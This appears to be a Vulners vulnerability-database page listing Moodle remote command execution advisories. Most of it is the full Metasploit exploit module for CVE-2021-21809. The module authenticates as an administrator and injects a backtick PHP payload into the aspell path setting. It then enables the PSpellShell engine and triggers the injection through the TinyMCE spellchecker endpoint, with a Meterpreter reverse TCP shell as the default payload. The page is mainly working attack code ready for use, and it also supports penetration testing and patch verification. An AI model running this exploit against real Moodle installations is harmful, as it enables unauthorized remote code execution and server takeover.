| Reporter | Title | Published | Views | Family All 51 |
|---|---|---|---|---|
| Moodle Remote Command Execution Vulnerability | 31 Oct 201300:00 | – | zdt | |
| Moodle SpellChecker Path Authenticated Remote Command Execution Exploit | 13 Oct 202100:00 | – | zdt | |
| Moodle Authenticated Spelling Binary Remote Code Execution Exploit | 13 Oct 202100:00 | – | zdt | |
| CVE-2013-3630 | 31 Oct 201300:00 | – | circl | |
| CVE-2021-21809 | 24 Jun 202102:17 | – | circl | |
| Moodle 操作系统命令注入漏洞 | 22 Jun 202100:00 | – | cnnvd | |
| Moodle Command Execution Vulnerability | 25 Jun 202100:00 | – | cnvd | |
| Moodle Spellcheck Remote Command Execution (CVE-2013-3630) | 18 Nov 201400:00 | – | checkpoint_advisories | |
| Moodle Command Injection (CVE-2021-21809) | 26 Jul 202100:00 | – | checkpoint_advisories | |
| CVE-2013-3630 | 1 Nov 201301:00 | – | cve |
`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Moodle
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Moodle SpellChecker Path Authenticated Remote Command Execution',
'Description' => %q{
Moodle allows an authenticated administrator to define spellcheck settings via the web interface.
An administrator can update the aspell path to include a command injection. This is extremely
similar to CVE-2013-3630, just using a different variable.
This module was tested against Moodle version 3.11.2, 3.10.0, and 3.8.0.
},
'License' => MSF_LICENSE,
'Author' => [
'Adam Reiser', # Discovery
'h00die' # msf module
],
'References' => [
['CVE', '2021-21809'],
['URL', 'https://talosintelligence.com/vulnerability_reports/TALOS-2021-1277']
],
'DefaultOptions' => { 'Payload' => 'php/meterpreter/reverse_tcp' },
'Payload' => {
'BadChars' => "'"
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['Automatic', {}]],
'DisclosureDate' => '2021-06-22',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
}
)
)
register_options(
[
OptString.new('USERNAME', [ true, 'Username to authenticate with', 'admin']),
OptString.new('PASSWORD', [ true, 'Password to authenticate with', '']),
]
)
end
def change_aspellpath(value = '')
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
'vars_get' =>
{
'section' => 'systempaths'
},
'keep_cookies' => true
})
fail_with(Failure::Unreachable, 'Error retrieving settings') unless res
res.body =~ /sesskey":"([^"]+)"/
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
'vars_get' =>
{
'section' => 'systempaths'
},
'vars_post' =>
{
'section' => 'systempaths',
'action' => 'save-settings',
'sesskey' => Regexp.last_match(1),
'return' => '',
's__pathtophp' => '',
's__pathtodu' => '',
's__aspellpath' => value,
's__pathtodot' => '',
's__pathtogs' => '/usr/bin/gs',
's__pathtopython' => ''
},
'keep_cookies' => true
})
end
def set_spellchecker(checker = '')
# '' is None in the gui, and is the default
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
'vars_get' =>
{
'section' => 'tinymcespellcheckersettings'
},
'keep_cookies' => true
})
fail_with(Failure::Unreachable, 'No response received from the target.') unless res
res.body =~ /sesskey":"([^"]+)"/
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
'vars_get' =>
{
'section' => 'tinymcespellcheckersettings'
},
'vars_post' =>
{
'section' => 'tinymcespellcheckersettings',
'action' => 'save-settings',
'sesskey' => Regexp.last_match(1),
'return' => '',
's_tinymce_spellchecker_spellengine' => checker,
's_tinymce_spellchecker_spelllanguagelist' => '+English=en,Danish=da,Dutch=nl,Finnish=fi,French=fr,German=de,Italian=it,Polish=pl,Portuguese=pt,Spanish=es,Swedish=sv' # default
},
'keep_cookies' => true
})
fail_with(Failure::Unreachable, 'No response received from the target.') unless res
end
def check
return CheckCode::Unknown('No web server or moodle instance found') unless moodle_and_online?
v = moodle_version
return CheckCode::Detected('Unable to determine moodle version') if v.nil?
# according to talso advisory, 2021-04-21 - Vendor updated documentation to suggest best practices after installation
# so maybe this is not going to get patched? Assuming 3.0.0+
if Rex::Version.new(v) > Rex::Version.new('3.0.0')
return CheckCode::Appears("Exploitable Moodle version #{v} detected")
end
CheckCode::Safe("Non-exploitable Moodle version #{v} detected")
end
def exploit
print_status("Authenticating as user: #{datastore['USERNAME']}")
cookies = moodle_login(datastore['USERNAME'], datastore['PASSWORD'])
fail_with(Failure::NoAccess, 'Unable to login. Check credentials') if cookies.nil? || cookies.empty?
cookies.each do |cookie|
cookie_jar.add(cookie)
end
print_status('Updating aspell path')
# Site administration, Server, Server, System paths
change_aspellpath("`php -r \"#{payload.encoded}\" &`")
print_status('Changing spell engine to PSpellShell')
set_spellchecker('PSpellShell')
# Administration, Plugins, Text editors, TinyMCE HTML editor, Legacy Spell Checker
spellcheck = '{"id":"c0","method":"checkWords","params":["en",[""]]}'
print_status('Triggering payload')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'lib', 'editor', 'tinymce', 'plugins', 'spellchecker', 'rpc.php'),
'data' => spellcheck,
'ctype' => 'application/json',
'keep_cookies' => true
})
fail_with(Failure::Unreachable, 'Error triggering payload') if res
end
# prefer cleanup over on_session since we may have changed things, regardless of successful exploit
def cleanup
print_status('Sleeping 5 seconds before cleanup')
Rex.sleep(5)
print_status("Authenticating as user: #{datastore['USERNAME']}")
cookie_jar.clear # clear cookies to prevent timeouts
cookies = moodle_login(datastore['USERNAME'], datastore['PASSWORD'])
if cookies.nil? || cookies.empty?
print_bad('Failed login during cleanup')
else
cookies.each do |cookie|
cookie_jar.add(cookie)
end
print_status('Removing RCE from settings')
change_aspellpath
set_spellchecker
end
super
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation